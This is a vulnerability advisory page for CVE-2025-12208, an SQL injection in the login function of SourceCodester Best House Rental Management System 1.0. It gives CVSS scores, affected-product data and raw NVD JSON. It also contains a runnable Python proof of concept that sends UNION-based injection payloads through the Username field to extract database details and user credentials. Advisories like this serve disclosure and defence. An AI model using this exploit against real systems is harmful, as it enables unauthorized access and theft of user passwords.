Security Vulnerability Report
中文
CVE-2025-12208 CVSS 7.3 HIGH

CVE-2025-12208

Published: 2025-10-27 03:15:50
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was found in SourceCodester Best House Rental Management System 1.0. This impacts the function login2 of the file /admin_class.php. Performing manipulation of the argument Username results in sql injection. The attack is possible to be carried out remotely. The exploit has been made public and could be used.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:mayurik:best_house_rental_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
SourceCodester Best House Rental Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12208 SQL Injection PoC # Target: SourceCodester Best House Rental Management System 1.0 # Vulnerability: SQL Injection in /admin_class.php login2 function def exploit_sqli(target_url, payload): """ Perform SQL injection attack on login function """ login_url = f"{target_url}/admin_class.php" # Malicious payload for SQL injection data = { 'Username': payload, 'Password': 'anything', 'login': 'login' } try: response = requests.post(login_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def extract_database_info(target_url): """ Extract database information using UNION-based SQL injection """ # Payload to extract database version and name payload = "admin' UNION SELECT NULL,database(),version(),user()-- -" print(f"[*] Extracting database information...") result = exploit_sqli(target_url, payload) print(f"[+] Response: {result[:500]}") return result def extract_user_credentials(target_url): """ Extract user credentials from database """ # Payload to extract usernames and passwords payload = "admin' UNION SELECT NULL,username,password,'1' FROM users-- -" print(f"[*] Extracting user credentials...") result = exploit_sqli(target_url, payload) print(f"[+] Response: {result[:500]}") return result if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12208.py <target_url>") print("Example: python cve-2025-12208.py http://localhost/rental-system") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] CVE-2025-12208 SQL Injection PoC") print(f"[*] Target: {target}") # Extract database information extract_database_info(target) # Extract user credentials extract_user_credentials(target) print("[*] Exploitation complete")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12208", "sourceIdentifier": "[email protected]", "published": "2025-10-27T03:15:50.133", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in SourceCodester Best House Rental Management System 1.0. This impacts the function login2 of the file /admin_class.php. Performing manipulation of the argument Username results in sql injection. The attack is possible to be carried out remotely. The exploit has been made public and could be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mayurik:best_house_rental_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "A7D6CEC7-5EE1-4052-B0E2-093C40418760"}]}]}], "references": [{"url": "https://github.com/K1nakoo/cve/blob/main/58/report.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.329878", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.329878", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.673226", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.sourcecodester.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/K1nakoo/cve/blob/main/58/report.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}